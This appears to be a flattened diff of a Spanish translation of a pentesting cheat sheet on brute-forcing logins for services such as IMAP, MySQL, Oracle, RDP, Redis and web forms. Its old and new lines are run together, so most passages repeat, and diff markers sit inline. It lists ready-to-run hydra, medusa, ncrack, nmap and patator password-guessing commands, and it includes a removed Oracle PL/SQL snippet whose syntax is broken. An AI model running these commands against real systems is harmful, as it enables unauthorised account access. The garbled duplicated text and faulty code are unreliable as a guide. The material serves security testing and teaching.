Es importante tener en cuenta que el uso de esta técnica de ataque puede ser ilegal y está sujeto a sanciones legales. Solo se debe realizar en sistemas autorizados y con el consentimiento del propietario del sistema. 5. Analizar respuestas: Después de enviar cada solicitud, se analiza la respuesta recibida del servidor. Si la respuesta indica que las credenciales son válidas, se ha encontrado una combinación exitosa y se ha obtenido acceso no autorizado al sistema.
Es importante tener en cuenta que el uso de esta técnica de fuerza bruta para acceder a sistemas protegidos sin autorización es ilegal y puede tener consecuencias legales graves. Esta información se proporciona únicamente con fines educativos y para aumentar la conciencia sobre las vulnerabilidades de seguridad.
```bash ```bash
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V
# Use https-post-form mode for https # Use https-post-form mode for https
@ -305,35 +312,33 @@ cmsmap -f W/J/D/M -u a -p a https://wordpress.com
``` ```
### IMAP ### IMAP
IMAP (Internet Message Access Protocol) es un protocolo de correo electrónico que permite a los usuarios acceder y administrar sus correos electrónicos almacenados en un servidor remoto. A diferencia del protocolo POP (Post Office Protocol), que descarga los correos electrónicos en el dispositivo del usuario, IMAP mantiene los correos electrónicos en el servidor, lo que permite un acceso más flexible y sincronizado desde múltiples dispositivos. IMAP (Internet Message Access Protocol) es un protocolo de correo electrónico que permite a los usuarios acceder y administrar sus correos electrónicos almacenados en un servidor remoto. A diferencia del protocolo POP3, que descarga los correos electrónicos en el dispositivo del usuario, IMAP mantiene los correos electrónicos en el servidor, lo que permite un acceso más flexible y sincronizado desde múltiples dispositivos.
#### Ataque de fuerza bruta contra IMAP #### Ataque de fuerza bruta contra IMAP
Un ataque de fuerza bruta contra IMAP es un método utilizado por los hackers para intentar adivinar las credenciales de acceso de un usuario mediante la prueba de diferentes combinaciones de nombres de usuario y contraseñas. Este tipo de ataque se basa en la suposición de que el usuario ha elegido una contraseña débil o fácil de adivinar. Un ataque de fuerza bruta contra IMAP es un método utilizado por los hackers para obtener acceso no autorizado a las cuentas de correo electrónico a través de la adivinación de contraseñas. Consiste en probar diferentes combinaciones de contraseñas hasta encontrar la correcta. Los hackers utilizan herramientas automatizadas para realizar este tipo de ataques, lo que les permite probar miles de contraseñas en poco tiempo.
Para llevar a cabo un ataque de fuerza bruta contra IMAP, los hackers utilizan herramientas automatizadas que generan y prueban una gran cantidad de combinaciones de nombres de usuario y contraseñas en un corto período de tiempo. Estas herramientas aprovechan la velocidad de procesamiento de las computadoras para probar miles o incluso millones de combinaciones en cuestión de segundos. Para protegerse contra los ataques de fuerza bruta en IMAP, es importante seguir buenas prácticas de seguridad, como utilizar contraseñas fuertes y únicas, habilitar la autenticación de dos factores y limitar el número de intentos de inicio de sesión permitidos. Además, los proveedores de servicios de correo electrónico también implementan medidas de seguridad, como el bloqueo temporal de las cuentas después de varios intentos fallidos de inicio de sesión.
Para protegerse contra los ataques de fuerza bruta en IMAP, es importante utilizar contraseñas seguras y robustas que sean difíciles de adivinar. Además, se recomienda implementar medidas de seguridad adicionales, como la autenticación de dos factores, que requiere un segundo factor de autenticación además de la contraseña para acceder a la cuenta de correo electrónico. En resumen, IMAP es un protocolo de correo electrónico que permite a los usuarios acceder y administrar sus correos electrónicos almacenados en un servidor remoto. Los ataques de fuerza bruta contra IMAP son intentos de adivinar contraseñas para obtener acceso no autorizado a las cuentas de correo electrónico. Es importante tomar medidas de seguridad para protegerse contra estos ataques.
En resumen, los ataques de fuerza bruta contra IMAP son una técnica común utilizada por los hackers para intentar obtener acceso no autorizado a las cuentas de correo electrónico. Al utilizar contraseñas seguras y medidas de seguridad adicionales, los usuarios pueden protegerse contra este tipo de ataques.
```bash ```bash
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> imap -V hydra -l USERNAME -P /path/to/passwords.txt -f <IP> imap -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f <IP> imap -V hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f <IP> imap -V
nmap -sV --script imap-brute -p <PORT> <IP> nmap -sV --script imap-brute -p <PORT> <IP>
``` ```
IRC (Internet Relay Chat) es un protocolo de comunicación en tiempo real ampliamente utilizado para la comunicación en línea. Permite a los usuarios participar en conversaciones grupales o privadas a través de canales de chat. Los canales de IRC son similares a las salas de chat, donde los usuarios pueden unirse, enviar mensajes y recibir respuestas de otros participantes. IRC es una herramienta comúnmente utilizada por los hackers para comunicarse y colaborar en tiempo real durante actividades de hacking. IRC (Internet Relay Chat) es un protocolo de comunicación en tiempo real ampliamente utilizado para la comunicación en línea. Permite a los usuarios participar en conversaciones grupales o privadas a través de canales de chat. Los canales de IRC son similares a las salas de chat y los usuarios pueden unirse a ellos para interactuar con otros participantes. IRC utiliza un modelo cliente-servidor, donde los clientes se conectan a servidores IRC para unirse a los canales y enviar mensajes. Los mensajes en IRC se envían en texto plano, lo que significa que pueden ser interceptados y leídos por terceros. Por lo tanto, es importante tener precaución al enviar información sensible a través de IRC.
```bash ```bash
nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p <PORT> <IP> nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p <PORT> <IP>
``` ```
### ISCSI ### ISCSI
iSCSI (Internet Small Computer System Interface) es un protocolo de red que permite a los dispositivos de almacenamiento en red (como discos duros, cintas y unidades de estado sólido) ser accesibles a través de una red IP. Utiliza el protocolo TCP/IP para transmitir comandos SCSI entre un iniciador (cliente) y un destino (servidor). El objetivo del iSCSI es proporcionar una solución de almacenamiento de bajo costo y alta velocidad para entornos de red. iSCSI (Internet Small Computer System Interface) es un protocolo de red que permite a los dispositivos de almacenamiento en red (como discos duros, cintas y unidades de estado sólido) ser accesibles a través de una red IP. Utiliza el protocolo TCP/IP para transmitir comandos SCSI (Small Computer System Interface) entre un iniciador (cliente) y un destino (servidor). El objetivo del iSCSI es proporcionar una solución de almacenamiento de bajo costo y alta velocidad para entornos de red.
El ataque de fuerza bruta es una técnica comúnmente utilizada para intentar descubrir contraseñas o claves de acceso. Consiste en probar todas las combinaciones posibles de caracteres hasta encontrar la contraseña correcta. Este tipo de ataque puede ser muy efectivo si la contraseña es débil o si el atacante tiene suficiente tiempo y recursos para probar todas las combinaciones. El proceso de conexión iSCSI implica la autenticación del iniciador con el destino y la creación de una sesión de iSCSI. Una vez establecida la sesión, el iniciador puede enviar comandos SCSI al destino para acceder y administrar los dispositivos de almacenamiento. Estos comandos pueden incluir operaciones de lectura, escritura, borrado y otras operaciones de administración.
En el contexto de iSCSI, un ataque de fuerza bruta podría dirigirse a la autenticación del iniciador o del destino. Si el atacante logra descubrir la contraseña correcta, podría obtener acceso no autorizado al dispositivo de almacenamiento en red y potencialmente robar o modificar datos sensibles. El ataque de fuerza bruta es un método utilizado para descubrir credenciales de acceso a sistemas iSCSI. Consiste en probar todas las combinaciones posibles de nombres de usuario y contraseñas hasta encontrar las correctas. Este tipo de ataque puede ser automatizado utilizando herramientas especializadas, lo que permite probar miles o incluso millones de combinaciones en poco tiempo.
Para protegerse contra los ataques de fuerza bruta en iSCSI, es importante seguir buenas prácticas de seguridad, como utilizar contraseñas fuertes y complejas, implementar bloqueos temporales después de varios intentos fallidos de inicio de sesión y utilizar mecanismos de autenticación adicionales, como la autenticación de dos factores. Además, es recomendable mantener el software y los sistemas actualizados con los últimos parches de seguridad para mitigar posibles vulnerabilidades conocidas. Es importante tener en cuenta que el uso de fuerza bruta para acceder a sistemas iSCSI sin autorización es ilegal y puede tener consecuencias legales graves. Solo se debe realizar pruebas de penetración en sistemas autorizados y con el consentimiento del propietario del sistema.
```bash ```bash
nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 <IP> nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 <IP>
``` ```
@ -386,15 +391,13 @@ nmap --script ldap-brute -p 389 <IP>
``` ```
### MQTT ### MQTT
MQTT (Message Queuing Telemetry Transport) es un protocolo de mensajería ligero y de bajo consumo de energía diseñado para la comunicación entre dispositivos en redes de área local o de ancho de banda limitado. MQTT utiliza un modelo de publicación/suscripción, donde los dispositivos pueden publicar mensajes en un tema específico y otros dispositivos pueden suscribirse a ese tema para recibir los mensajes. MQTT (Message Queuing Telemetry Transport) es un protocolo de mensajería ligero y de bajo consumo de energía diseñado para la comunicación entre dispositivos en redes de área local o de ancho de banda limitado. Es ampliamente utilizado en aplicaciones de Internet de las cosas (IoT) debido a su eficiencia y simplicidad.
El protocolo MQTT es ampliamente utilizado en aplicaciones de Internet de las cosas (IoT) debido a su eficiencia y simplicidad. Sin embargo, también puede ser utilizado en otros escenarios donde se requiere una comunicación eficiente y confiable entre dispositivos. El protocolo MQTT utiliza un enfoque de publicación/suscripción, donde los dispositivos pueden publicar mensajes en un tema específico y otros dispositivos pueden suscribirse a ese tema para recibir los mensajes. Esto permite una comunicación eficiente y escalable entre los dispositivos conectados.
El proceso de ataque de fuerza bruta en MQTT implica intentar adivinar las credenciales de autenticación de un dispositivo MQTT mediante la prueba de diferentes combinaciones de nombres de usuario y contraseñas. Este tipo de ataque puede ser efectivo si el dispositivo MQTT tiene configuradas credenciales débiles o predeterminadas. Una técnica común utilizada en el hacking de MQTT es el ataque de fuerza bruta. Este ataque consiste en intentar adivinar la contraseña de un dispositivo MQTT mediante la prueba de diferentes combinaciones de contraseñas hasta encontrar la correcta. Para llevar a cabo este ataque, se utilizan herramientas como Mosquitto_pub y Mosquitto_sub, que permiten enviar y recibir mensajes MQTT.
Para llevar a cabo un ataque de fuerza bruta en MQTT, se pueden utilizar herramientas como Mosquitto, MQTT.fx o MQTT Explorer. Estas herramientas permiten automatizar el proceso de prueba de credenciales y pueden probar miles de combinaciones en poco tiempo. Es importante tener en cuenta que el uso de técnicas de fuerza bruta para acceder a dispositivos MQTT sin autorización es ilegal y puede tener consecuencias legales graves. Solo se debe realizar pruebas de penetración en sistemas y dispositivos con el permiso explícito del propietario.
Es importante tener en cuenta que realizar un ataque de fuerza bruta en un dispositivo MQTT sin el consentimiento del propietario es ilegal y puede tener consecuencias legales graves. Siempre es recomendable obtener permiso por escrito antes de realizar cualquier tipo de prueba de penetración o hacking ético.
``` ```
ncrack mqtt://127.0.0.1 --user test P /root/Desktop/pass.txt -v ncrack mqtt://127.0.0.1 --user test P /root/Desktop/pass.txt -v
``` ```
@ -408,13 +411,15 @@ Para proteger una base de datos Mongo contra ataques de fuerza bruta, es importa
1. Utilizar contraseñas fuertes: Asegúrese de utilizar contraseñas largas y complejas que sean difíciles de adivinar. Evite contraseñas comunes o predecibles. 1. Utilizar contraseñas fuertes: Asegúrese de utilizar contraseñas largas y complejas que sean difíciles de adivinar. Evite contraseñas comunes o predecibles.
2. Limitar el acceso remoto: Restrinja el acceso remoto a la base de datos solo a las direcciones IP autorizadas. Esto ayudará a prevenir ataques de fuerza bruta desde ubicaciones no autorizadas. 2. Limitar el acceso remoto: Restrinja el acceso remoto a la base de datos Mongo solo a las direcciones IP autorizadas. Esto ayudará a prevenir ataques desde ubicaciones no autorizadas.
3. Implementar bloqueo de cuentas: Configure su base de datos Mongo para bloquear automáticamente las cuentas después de un número determinado de intentos fallidos de inicio de sesión. Esto dificultará los ataques de fuerza bruta al limitar el número de intentos posibles. 3. Implementar bloqueo de cuentas: Configure un mecanismo de bloqueo de cuentas después de un número determinado de intentos fallidos de inicio de sesión. Esto dificultará los ataques de fuerza bruta al limitar el número de intentos permitidos.
4. Actualizar regularmente: Mantenga su base de datos Mongo actualizada con las últimas versiones y parches de seguridad. Esto ayudará a proteger contra vulnerabilidades conocidas que podrían ser explotadas en ataques de fuerza bruta. 4. Actualizar regularmente: Mantenga su base de datos Mongo actualizada con las últimas versiones y parches de seguridad. Esto ayudará a proteger contra vulnerabilidades conocidas.
Al seguir estas prácticas de seguridad, puede ayudar a proteger su base de datos Mongo contra ataques de fuerza bruta y mantener sus datos seguros. 5. Monitorear y registrar: Implemente un sistema de monitoreo y registro para detectar y registrar intentos de inicio de sesión fallidos o actividades sospechosas. Esto le permitirá identificar y responder rápidamente a posibles ataques.
Siguiendo estas prácticas de seguridad, puede ayudar a proteger su base de datos Mongo contra ataques de fuerza bruta y mantener sus datos seguros.
```bash ```bash
nmap -sV --script mongodb-brute -n -p 27017 <IP> nmap -sV --script mongodb-brute -n -p 27017 <IP>
use auxiliary/scanner/mongodb/mongodb_login use auxiliary/scanner/mongodb/mongodb_login
@ -427,16 +432,13 @@ MySQL es un sistema de gestión de bases de datos relacional de código abierto
Un ataque de fuerza bruta es un método utilizado por los hackers para descubrir contraseñas o claves de acceso a través de la prueba sistemática de todas las combinaciones posibles. En el caso de MySQL, un ataque de fuerza bruta implica intentar adivinar la contraseña de un usuario o una cuenta de administrador. Un ataque de fuerza bruta es un método utilizado por los hackers para descubrir contraseñas o claves de acceso a través de la prueba sistemática de todas las combinaciones posibles. En el caso de MySQL, un ataque de fuerza bruta implica intentar adivinar la contraseña de un usuario o una cuenta de administrador.
Existen varias herramientas disponibles para llevar a cabo un ataque de fuerza bruta contra MySQL, como Hydra y Medusa. Estas herramientas automatizan el proceso de prueba de múltiples combinaciones de contraseñas en un corto período de tiempo. Existen varias herramientas y técnicas disponibles para llevar a cabo un ataque de fuerza bruta contra MySQL. Algunas de las más comunes incluyen:
Para protegerse contra los ataques de fuerza bruta en MySQL, es importante seguir buenas prácticas de seguridad, como: - **Hydra**: una herramienta de línea de comandos que puede realizar ataques de fuerza bruta contra varios protocolos, incluido MySQL.
- **Medusa**: una herramienta similar a Hydra que también puede realizar ataques de fuerza bruta contra MySQL.
- **Diccionarios de contraseñas**: estos archivos contienen una lista de contraseñas comunes que se utilizan para probar en un ataque de fuerza bruta.
- Utilizar contraseñas fuertes y únicas para las cuentas de MySQL. Es importante tener en cuenta que los ataques de fuerza bruta son ilegales y están sujetos a sanciones legales. Solo se deben realizar pruebas de penetración en sistemas y redes autorizadas y con el consentimiento del propietario.
- Limitar el acceso a la base de datos solo a usuarios autorizados.
- Implementar medidas de seguridad adicionales, como la autenticación de dos factores.
- Mantener el software de MySQL actualizado con los últimos parches de seguridad.
Al implementar estas medidas de seguridad, se puede reducir significativamente el riesgo de un ataque de fuerza bruta exitoso en MySQL.
```bash ```bash
# hydra # hydra
hydra -L usernames.txt -P pass.txt <IP> mysql hydra -L usernames.txt -P pass.txt <IP> mysql
@ -449,36 +451,32 @@ medusa -h <IP/Host> -u <username> -P <password_list> <-f | to stop medusa on fir
``` ```
# Fuerza bruta # Fuerza bruta
La fuerza bruta es una técnica comúnmente utilizada en el campo de la seguridad informática para descifrar contraseñas o encontrar información sensible. Consiste en probar todas las combinaciones posibles de caracteres hasta encontrar la correcta. La fuerza bruta es una técnica comúnmente utilizada en el campo de la seguridad informática para descifrar contraseñas o encontrar información sensible mediante la prueba exhaustiva de todas las posibles combinaciones. En el contexto de OracleSQL, la fuerza bruta se puede utilizar para intentar adivinar contraseñas de usuarios o nombres de esquemas.
En el contexto de OracleSQL, la fuerza bruta se puede utilizar para intentar adivinar contraseñas de usuarios o nombres de esquemas. Esto se logra mediante la ejecución de consultas repetitivas con diferentes combinaciones de caracteres hasta encontrar la combinación correcta. ## Herramientas y recursos
Es importante tener en cuenta que la fuerza bruta puede ser un proceso lento y consumir muchos recursos, especialmente si se utilizan contraseñas largas o complejas. Además, es una técnica que puede ser detectada fácilmente por sistemas de seguridad si se realizan demasiados intentos fallidos en un corto período de tiempo. Existen varias herramientas y recursos disponibles para llevar a cabo ataques de fuerza bruta en OracleSQL. Algunas de las herramientas más populares incluyen:
A continuación se muestra un ejemplo de cómo se puede implementar la fuerza bruta en OracleSQL para intentar adivinar una contraseña: - **Hydra**: una herramienta de código abierto que admite ataques de fuerza bruta en varios protocolos, incluido OracleSQL.
- **Metasploit**: un marco de pruebas de penetración que incluye módulos para realizar ataques de fuerza bruta en OracleSQL.
- **Ncrack**: una herramienta de código abierto diseñada específicamente para realizar ataques de fuerza bruta en servicios de red, incluido OracleSQL.
```sql Además de estas herramientas, también es posible desarrollar scripts personalizados utilizando lenguajes de programación como Python o Ruby para llevar a cabo ataques de fuerza bruta en OracleSQL.
DECLARE
v_password VARCHAR2(20);
BEGIN
FOR i IN 1..10000 LOOP
v_password := 'password' || i;
BEGIN
EXECUTE IMMEDIATE 'ALTER SESSION SET CURRENT_SCHEMA = SCHEMA_NAME IDENTIFIED BY ' || v_password;
DBMS_OUTPUT.PUT_LINE('Contraseña encontrada: ' || v_password);
EXIT;
EXCEPTION
WHEN OTHERS THEN
NULL;
END;
END LOOP;
END;
/
```
En este ejemplo, se utiliza un bucle `FOR` para generar diferentes combinaciones de contraseñas, que se concatenan con la cadena `'password'`. Luego, se intenta cambiar el esquema actual utilizando la contraseña generada. Si la ejecución tiene éxito, se muestra un mensaje indicando que se ha encontrado la contraseña y se sale del bucle. ## Consideraciones de seguridad
Es importante destacar que la fuerza bruta es una técnica que puede ser considerada ilegal o inapropiada en muchos contextos, a menos que se realice con el consentimiento y la autorización adecuada. Se recomienda utilizarla solo con fines educativos o en el marco de pruebas de penetración éticas. Es importante tener en cuenta que el uso de la fuerza bruta para acceder a sistemas o información sin autorización es ilegal y puede tener consecuencias legales graves. Solo se debe utilizar esta técnica con el permiso explícito del propietario del sistema o la información.
Además, es importante implementar medidas de seguridad adecuadas para proteger los sistemas de OracleSQL contra ataques de fuerza bruta. Algunas de estas medidas incluyen:
- Utilizar contraseñas fuertes y complejas que sean difíciles de adivinar.
- Implementar bloqueos de cuenta después de un número determinado de intentos fallidos de inicio de sesión.
- Mantener el software de OracleSQL actualizado con los últimos parches de seguridad.
- Utilizar firewalls y otras soluciones de seguridad para proteger los sistemas de OracleSQL de ataques externos.
## Conclusión
La fuerza bruta es una técnica poderosa pero peligrosa que puede ser utilizada para comprometer la seguridad de sistemas de OracleSQL. Es importante comprender los riesgos asociados con esta técnica y tomar las medidas adecuadas para proteger los sistemas contra ataques de fuerza bruta.
```bash ```bash
patator oracle_login sid=<SID> host=<IP> user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017 patator oracle_login sid=<SID> host=<IP> user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017
@ -508,37 +506,13 @@ pip3 install cx_Oracle --upgrade
```bash ```bash
nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30 nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30
``` ```
# Fuerza Bruta ### POP
La fuerza bruta es una técnica de hacking que implica probar todas las posibles combinaciones de contraseñas hasta encontrar la correcta. Es un enfoque simple pero efectivo para obtener acceso no autorizado a sistemas protegidos por contraseña. El ataque de fuerza bruta es una técnica comúnmente utilizada en el hacking para obtener acceso no autorizado a cuentas de correo electrónico. POP (Post Office Protocol) es un protocolo utilizado para recibir correos electrónicos de un servidor de correo remoto.
## Metodología En un ataque de fuerza bruta contra POP, un hacker intenta adivinar la contraseña correcta probando diferentes combinaciones de contraseñas hasta encontrar la correcta. Esto se logra utilizando herramientas automatizadas que prueban miles o incluso millones de combinaciones en poco tiempo.
La metodología de fuerza bruta generalmente sigue estos pasos: Es importante tener en cuenta que los ataques de fuerza bruta son ilegales y están sujetos a sanciones legales. Solo se deben realizar pruebas de penetración en sistemas autorizados y con el consentimiento del propietario del sistema.
1. **Recopilación de información**: El primer paso es recopilar información sobre el objetivo, como nombres de usuario, direcciones de correo electrónico, nombres de dominio, etc. Esta información puede ser obtenida a través de fuentes públicas o mediante técnicas de ingeniería social.
2. **Selección de herramientas**: A continuación, se selecciona una herramienta de fuerza bruta adecuada para el objetivo. Hay varias herramientas disponibles que automatizan el proceso de prueba de contraseñas.
3. **Configuración de parámetros**: Se configuran los parámetros de la herramienta, como el diccionario de contraseñas a utilizar, el número máximo de intentos permitidos, el tiempo de espera entre intentos, etc.
4. **Ejecución de la herramienta**: Una vez que se han configurado los parámetros, se ejecuta la herramienta de fuerza bruta para probar todas las combinaciones posibles de contraseñas.
5. **Análisis de resultados**: Después de que la herramienta haya terminado de probar todas las combinaciones, se analizan los resultados para identificar la contraseña correcta. Esto puede implicar revisar los registros de la herramienta o buscar señales de éxito, como mensajes de error específicos.
6. **Acceso no autorizado**: Una vez que se ha encontrado la contraseña correcta, se utiliza para obtener acceso no autorizado al sistema objetivo. Esto puede permitir al hacker robar información confidencial, realizar modificaciones no autorizadas o llevar a cabo otros ataques.
## Recursos
Existen varios recursos disponibles para llevar a cabo ataques de fuerza bruta, como:
- **Diccionarios de contraseñas**: Estos son archivos que contienen una lista de posibles contraseñas que se probarán durante el ataque de fuerza bruta. Pueden incluir palabras comunes, nombres de usuarios, combinaciones de teclado, etc.
- **Herramientas de fuerza bruta**: Hay varias herramientas disponibles que automatizan el proceso de prueba de contraseñas, como Hydra, Medusa, John the Ripper, etc.
- **Servicios en la nube**: Algunos servicios en la nube, como AWS, GCP y Azure, ofrecen servicios de fuerza bruta como parte de sus ofertas de seguridad. Estos servicios pueden ser utilizados para realizar ataques de fuerza bruta de manera más eficiente.
Es importante tener en cuenta que la fuerza bruta es una técnica ilegal y no ética, a menos que se realice con el consentimiento explícito del propietario del sistema objetivo como parte de una prueba de penetración autorizada.
```bash ```bash
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> pop3 -V hydra -l USERNAME -P /path/to/passwords.txt -f <IP> pop3 -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f <IP> pop3 -V hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f <IP> pop3 -V
@ -547,17 +521,11 @@ hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f <IP> pop3 -V
PostgreSQL es un sistema de gestión de bases de datos relacional de código abierto y altamente escalable. Es ampliamente utilizado en aplicaciones web y empresariales debido a su capacidad para manejar grandes volúmenes de datos y su soporte para consultas complejas. PostgreSQL es un sistema de gestión de bases de datos relacional de código abierto y altamente escalable. Es ampliamente utilizado en aplicaciones web y empresariales debido a su capacidad para manejar grandes volúmenes de datos y su soporte para consultas complejas.
#### Ataques de fuerza bruta contra PostgreSQL Una técnica común utilizada en el hacking es el ataque de fuerza bruta, que consiste en probar todas las combinaciones posibles de contraseñas hasta encontrar la correcta. Esto se puede hacer utilizando herramientas como Hydra o Medusa, que automatizan el proceso de prueba de contraseñas.
Un ataque de fuerza bruta es una técnica utilizada para descubrir contraseñas o credenciales de acceso a través de la prueba sistemática de todas las combinaciones posibles. En el caso de PostgreSQL, un ataque de fuerza bruta se puede utilizar para intentar adivinar la contraseña de un usuario y obtener acceso no autorizado a la base de datos. Sin embargo, es importante tener en cuenta que el uso de fuerza bruta para acceder a sistemas o cuentas sin autorización es ilegal y está sujeto a sanciones legales. Por lo tanto, siempre es recomendable obtener permiso explícito antes de realizar cualquier tipo de prueba de penetración o hacking ético.
Existen varias herramientas y recursos disponibles para llevar a cabo un ataque de fuerza bruta contra PostgreSQL. Algunas de las herramientas más populares incluyen Hydra, Medusa y Ncrack. Estas herramientas permiten automatizar el proceso de prueba de contraseñas y pueden probar miles de combinaciones por segundo. Además, es importante tener en cuenta que la fuerza bruta puede ser un proceso lento y consumir muchos recursos, especialmente cuando se trata de contraseñas largas o complejas. Por lo tanto, es recomendable utilizar otras técnicas de hacking, como la ingeniería social o la explotación de vulnerabilidades, antes de recurrir a la fuerza bruta.
Para protegerse contra los ataques de fuerza bruta en PostgreSQL, es importante seguir buenas prácticas de seguridad, como utilizar contraseñas fuertes y complejas, implementar bloqueos temporales después de varios intentos fallidos de inicio de sesión y utilizar medidas adicionales de autenticación, como la autenticación de dos factores.
Además, es recomendable mantener PostgreSQL actualizado con las últimas correcciones de seguridad y realizar auditorías regulares de seguridad para identificar y corregir posibles vulnerabilidades.
En resumen, PostgreSQL es una base de datos relacional de código abierto ampliamente utilizada, pero también puede ser vulnerable a ataques de fuerza bruta. Es importante tomar medidas de seguridad adecuadas para protegerse contra estos ataques y mantener la base de datos actualizada y segura.
```bash ```bash
hydra -L /root/Desktop/user.txt P /root/Desktop/pass.txt <IP> postgres hydra -L /root/Desktop/user.txt P /root/Desktop/pass.txt <IP> postgres
medusa -h <IP> U /root/Desktop/user.txt P /root/Desktop/pass.txt M postgres medusa -h <IP> U /root/Desktop/user.txt P /root/Desktop/pass.txt M postgres
@ -573,32 +541,25 @@ Puedes descargar el paquete `.deb` para instalar desde [https://http.kali.org/po
sudo dpkg -i thc-pptp-bruter*.deb #Install the package sudo dpkg -i thc-pptp-bruter*.deb #Install the package
cat rockyou.txt | thc-pptp-bruter u <Username> <IP> cat rockyou.txt | thc-pptp-bruter u <Username> <IP>
``` ```
# Fuerza Bruta ### RDP
La fuerza bruta es una técnica comúnmente utilizada en el hacking para obtener acceso no autorizado a sistemas o cuentas. Consiste en probar todas las combinaciones posibles de contraseñas hasta encontrar la correcta. El Protocolo de Escritorio Remoto (RDP, por sus siglas en inglés) es un protocolo de red desarrollado por Microsoft que permite a los usuarios controlar y acceder a un equipo remoto a través de una conexión de red. RDP utiliza el puerto 3389 por defecto y es ampliamente utilizado para la administración remota de sistemas Windows.
## Fuerza Bruta en RDP #### Ataques de fuerza bruta contra RDP
El Protocolo de Escritorio Remoto (RDP) es un protocolo utilizado para la conexión remota a sistemas Windows. La fuerza bruta en RDP implica probar diferentes combinaciones de contraseñas para intentar acceder a una cuenta de RDP. Los ataques de fuerza bruta contra RDP son una técnica común utilizada por los hackers para intentar adivinar las credenciales de inicio de sesión de un sistema remoto. Consiste en probar diferentes combinaciones de nombres de usuario y contraseñas hasta encontrar las correctas.
### Herramientas de Fuerza Bruta en RDP Existen varias herramientas disponibles que automatizan este proceso, como Hydra, Medusa y Ncrack. Estas herramientas pueden probar miles de combinaciones por segundo, lo que las hace muy efectivas para romper contraseñas débiles.
Existen varias herramientas disponibles para llevar a cabo ataques de fuerza bruta en RDP. Algunas de las herramientas más populares incluyen: Para protegerse contra los ataques de fuerza bruta en RDP, se recomienda seguir las siguientes medidas de seguridad:
- Hydra: una herramienta de fuerza bruta muy conocida que admite múltiples protocolos, incluido RDP. - Utilizar contraseñas fuertes y únicas para las cuentas de usuario.
- Crowbar: una herramienta de fuerza bruta que se enfoca específicamente en RDP. - Habilitar la autenticación de dos factores para agregar una capa adicional de seguridad.
- TSGrinder: una herramienta diseñada específicamente para atacar el servicio de RDP. - Configurar un cortafuegos para bloquear direcciones IP sospechosas después de varios intentos fallidos de inicio de sesión.
- Cambiar el puerto predeterminado de RDP para dificultar los ataques automatizados.
- Mantener el sistema operativo y el software actualizados con los últimos parches de seguridad.
### Medidas de Protección Al implementar estas medidas, se puede reducir significativamente el riesgo de un ataque de fuerza bruta exitoso contra RDP.
Para protegerse contra ataques de fuerza bruta en RDP, se recomienda seguir estas medidas de seguridad:
- Usar contraseñas fuertes y únicas para las cuentas de RDP.
- Configurar bloqueos de cuenta después de un número determinado de intentos fallidos.
- Utilizar una solución de autenticación de dos factores para agregar una capa adicional de seguridad.
- Limitar el acceso a RDP solo a direcciones IP específicas o a través de una VPN.
Recuerda que el uso de técnicas de fuerza bruta para acceder a sistemas o cuentas sin autorización es ilegal y puede tener consecuencias legales graves.
```bash ```bash
ncrack -vv --user <User> -P pwds.txt rdp://<IP> ncrack -vv --user <User> -P pwds.txt rdp://<IP>
hydra -V -f -L <userslist> -P <passwlist> rdp://<IP> hydra -V -f -L <userslist> -P <passwlist> rdp://<IP>
@ -632,15 +593,13 @@ hydra P /path/pass.txt redis://<IP>:<PORT> # 6379 is the default
``` ```
### Rexec ### Rexec
Rexec, también conocido como Remote Execution, es una técnica de hacking que implica el intento de adivinar las credenciales de inicio de sesión de un sistema remoto mediante la fuerza bruta. Esta técnica se basa en probar diferentes combinaciones de nombres de usuario y contraseñas hasta encontrar las correctas. Rexec, también conocido como Remote Execution Service, es un protocolo de red que permite a un usuario ejecutar comandos en un sistema remoto. Este protocolo se utiliza comúnmente en entornos de red para administrar sistemas y realizar tareas de administración remota.
La fuerza bruta es un enfoque de prueba exhaustivo que implica probar todas las posibles combinaciones de caracteres hasta encontrar la contraseña correcta. En el caso de Rexec, esto implica probar diferentes combinaciones de nombres de usuario y contraseñas para acceder al sistema remoto. El ataque de fuerza bruta en Rexec implica intentar adivinar las credenciales de inicio de sesión de un sistema remoto mediante la prueba de diferentes combinaciones de nombres de usuario y contraseñas. Este método es efectivo cuando se utilizan credenciales débiles o cuando no se han implementado medidas de seguridad adecuadas.
Es importante tener en cuenta que el uso de la fuerza bruta para acceder a sistemas remotos sin autorización es ilegal y está sujeto a sanciones legales. Esta técnica solo debe ser utilizada por profesionales de la seguridad informática en el contexto de pruebas de penetración autorizadas. Para llevar a cabo un ataque de fuerza bruta en Rexec, se utilizan herramientas como Hydra o Medusa, que automatizan el proceso de prueba de credenciales. Estas herramientas intentan diferentes combinaciones de nombres de usuario y contraseñas hasta encontrar las correctas.
